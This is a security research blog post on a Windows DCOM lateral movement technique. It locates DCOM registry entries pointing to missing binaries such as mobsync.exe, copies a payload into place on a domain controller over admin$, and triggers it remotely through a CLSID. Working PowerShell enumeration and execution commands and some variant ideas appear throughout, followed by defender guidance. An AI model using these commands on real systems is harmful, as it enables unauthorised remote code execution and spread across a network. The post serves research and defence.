Abusing DCOM For Yet Another Lateral Movement Technique

TL;DR

This post discusses an alternate DCOM lateral movement discovery and payload execution method.  The primary gist is to locate DCOM registry key/values that point to the path of a binary on the ‘remote’ machine that does not exist.  This example method is likely to work if mobsync.exe is not in \\target\admin$\system32\, which is default on baseline Windows 2008 R2 and Windows 2012 R2 operating system installations.  With administrator privileges on a compromised machine (via PowerShell), you may be able to do something like this:

- dir \\target\system32\mobsync.exe   //should not exist
- copy evil.exe \\target\admin$\system32\mobsync.exe
- [activator]::CreateInstance([type]::GetTypeFromCLSID("C947D50F-378E-4FF6-8835-FCB50305244D","target"))

Introduction

In this post, we are going to review a ‘new’, ‘unsophisticated’ way to abuse DCOM (Distributed Component Object Model) for remote payload execution and lateral movement.  In general, this technique is relatively naive but may offer an alternate approach to other well-known methods.  The major topics include:

• A primer on DCOM lateral movement techniques (with references)
• Motivation for this research
• ‘Unsophisticated’ DCOM lateral movement methodology
• Recommendations for defenders to potentially detect/prevent such activity

Let’s dive in…

DCOM Primer

DCOM Lateral Movement techniques have been well documented over the last year and a half.  Matt Nelson (enigma0x3) has lead the way with series of excellent blog posts that describe several lateral movement techniques that take advantage of D/COM objects such as MMC20.Application, ShellWindows, ShellBrowserWindow, Excel.Application, and Outlook.Application.  Philip Tsukerman (@PhilipTsukerman), who has discovered and presented on very interesting WMI lateral movement techniques respectfully, has authored a great post that offers a nice background on DCOM functionality, lateral movement techniques, and defensive considerations.   A few months ago, I posted a blog about abusing the Navigate and Navigate2 functions of ShellWindows and ShellBrowserWindow for launching an executable or ‘url’ file to achieve payload execution on a remote host.  I highly recommend reviewing the aforementioned resources before proceeding

*Please take note that the ideas and examples presented here may seem (and probably are considered) lower on the Threat Actor TTP Totem Pole.  However, I strongly believe that many intelligent threat actors evaluate targets using a risk-based approach, so they will not always use their best operators, tools, tactics, and procedures to achieve their desired effects and/or objectives.  As such, the technique and ideas discussed here may still be relevant.

Research Motivation

A few weeks ago, I decided to virtualize the operating systems of one of my older laptops.  The conversion process was painful, and after some troubleshooting (and a lot of rebooting), I finally got it working with the right virtualization drivers and tools.  However, I thought about the security implications of my decision and wondered if there were other interesting remnants and artifacts from its previous life as a physical machine.  I didn’t have a “baseline” to work with, nor was I interested in performing a forensic investigation.  However, I opted to poke around the registry and quickly came across this interesting CLSID registry path that referenced a binary that likely served some utility/diagnostic function for a previous (driver) program on the laptop:

A quick DIR validated that C:\WINDOWS\system32\IntelCpHDCPSvc.exe was no longer on disk:

Four things immediately came to mind –

• IntelCpHDCPSvc.exe is clearly unknown to me
• The uninstaller program for the old software did not completely remove all registry artifacts
• I should do a better job of scrutinizing and trusting the software on my machine (That’s a conversation for another day over a beer or three)
• This looks (and smells) like a DCOM Application (which was verified with the Get-CimInstance Win32_DCOMApplication query below)

A few Google searches revealed that IntelCpHDCPSvc.exe was related to Intel’s Content Protection HDCP Service, but what was most interesting to me was the possible security implication (or opportunity) of LocalServer32 and InProcServer32 key values that referenced path to binaries that do not exist in their expected location.  Since IntelCpHDCPSvc would likely not be seen very often in the wild, I wanted to find any opportunistic “abandoned” DCOM references native to Microsoft Windows Server builds.

‘Abandoned’ DCOM Lateral Movement Methodology

Binary Discovery

The first step was to locate eligible binary paths in DCOM applications.  To do this, I crafted very rough PowerShell cmds to pull LocalServer32 executables and InProcServer32 DLLs from a Windows 2012 fully patched instance using the following commands:

gwmi Win32_COMSetting -computername 127.0.0.1 | ft LocalServer32 -autosize | Out-String -width 4096 | out-file dcom_exes.txt

gwmi Win32_COMSetting -computername 127.0.0.1 | ft InProcServer32 -autosize | Out-String -width 4096 | out-file dcom_dlls.txt

A normalized, de-duplicated output (from the Windows 2012 machine) looks something like this:

After concatenating the files and removing a few switches, I tested for the existence of the actual files on disk using this rough cmd string below:

$file = gc C:\Users\test\desktop\dcom_things.txt
foreach ($binpath in $file) {
 $binpath
 cmd.exe /c dir $binpath > $null
}

This result stuck out immediately:

%SystemRoot%\system32\mobsync.exe
File Not Found

It was confirmed with the following screenshot:

According to How-To Geek, mobsync “is a process that belongs to Microsoft Sync Center and the Offline Files feature.”  That is good to know, but mobsync.exe has just become very interesting for other reasons…

Validating AppID and CLSID

Since I did not do a good job of enumerating the appropriate AppID and CLSID earlier, I opted to skim the registry to locate these as demonstrated in the following screenshot:

In particular, the CLSID [C947D50F-378E-4FF6-8835-FCB50305244D] is needed to create an instance of the DCOM object in the next phase.

Remote Payload Execution/Lateral Movement

Now that the candidate D/COM object has been identified, let’s try to invoke remote payload execution.  Before proceeding, please note the following environmental considerations:

• In order to instantiate the DCOM object remotely, we must have appropriate permissions.  An administrator account will suffice.
• To make the payload execution worthwhile, we will leverage a domain environment.  In this test case, we will assume that we have already captured Domain Administrator credentials.  The remote execution attempt will occur from a Windows 10 client to a Windows 2012 Domain Controller.
• Hopefully, the odds our in our favor…

Let’s stage our evil payload and verify that mobsync.exe is not on target (due to some added role or administrative intervention):

dir C:\evil.exe
dir \\acmedc\admin$\system32\mobsync.exe

Excellent!  Since mobsync.exe does not exist and our evil.exe payload clearly evades any sort of host protection mechanisms :p, let’s copy it over to the DC:

copy C:\evil.exe \\acmedc\admin$\system32\mobsync.exe
dir \\acmedc\admin$\system32\mobsync.exe

Since our binary is not “DCOM aware”, the instantiation should “stall and subsequently fail” but still trigger the payload.  Let’s give it the ol’ college try:

[activator]::CreateInstance([type]::GetTypeFromCLSID("C947D50F-378E-4FF6-8835-FCB50305244D","target"))

On the Windows 10 Domain Member…

On the Windows 2012 Domain Controller…

Excellent! ‘Evil’ mobsync.exe spawned our ‘malicious’ notepad.exe payload!

Other Important Notes and (Unsophisticated) Opportunities

• This technique may also work against Windows Server 2008 as mobsync.exe is not located in the the \system32 directory by default.  However, mobsync.exe is dropped into the \system32 directory on Windows 2016 server machines.
• There are other ways to potentially invoke this style of DCOM lateral movement.  As demonstrated earlier, there are plenty of “DCOM aware” binaries.  An unsophisticated approach would be to (temporarily) ‘replace’ one of these binaries and do the same kind of invocation.  Hijacking mshta.exe on the remote machine may not have operational implications, but there is the headache for manipulating the remote file system (e.g. file copy/move operations, remote file permissions, etc.) and, of course, dealing with the added risk of detection.
• Another (lackluster) approach may be to manipulate the remote registry to change the respective CLSID LocalServer32 key/value file path of the DCOM binary to point to another location on disk or remote file share.  Similar to the previous example, this has implications for dealing with registry changes and permissions as well as introducing an added risk of detection.
• 3rd party “DCOM aware” applications, program, and utilities present another opportunity for locating ‘abandoned’ DCOM paths for similar lateral movement.  IntelCpHDCPSvc.exe is one use case, but probably not a great one.  However, it is not uncommon for organizations to purchase and role out new, symmetric computer devices every few years.  In between ‘refreshes’, machines require maintenance, patches, and upgrades.  The likelihood for artifacts to remain (e.g. DCOM configuration settings in the registry) after the removal of certain utility software and older device drivers could introduce these lateral movement attack paths.  A determined, persistent attacker may scope this out.
• There may be abandoned DCOM binary references in other versions of Windows, including client devices.  Feel free to go down that rabbit hole :-).

Defensive Considerations

For Vendors:

• Ensure DCOM registry artifacts are removed when utility software is uninstalled.
• Do not create DCOM binary path registry key-values that point to non-existent binaries.

For Net Defenders:

• In general, defenders should capture IOCs and recommendations provided by @enigma0x3 and @PhilipTsukerman in their respective blog posts.
• Using these DCOM methods will (likely) require privileged access to the remote machine.  Protect privileged domain accounts.  Avoid password re-use across local machine accounts.
• Ensure that defense-in-depth controls, host-based security products, and host monitoring are in place to detect/deter suspicious activity.  Enable host-based firewalls to prevent RPC/DCOM interaction and instantiation.
• Monitor the file system (and registry) for newly introduced artifacts and changes.
• Monitor for suspicious use of PowerShell within the environment.  Enforce Constrained Language Mode wherever/whenever possible (*Note: This may be difficult for privileged accounts).
• Upon DCOM invocation ‘failure’, System Event ID 10010 (Error, DistributedCOM) will be generated on the target machine with reference to the CLSID:

Conclusion

Thank you for taking the time to read this post! As always, feel free to reach out if you have questions, comments, or feedback.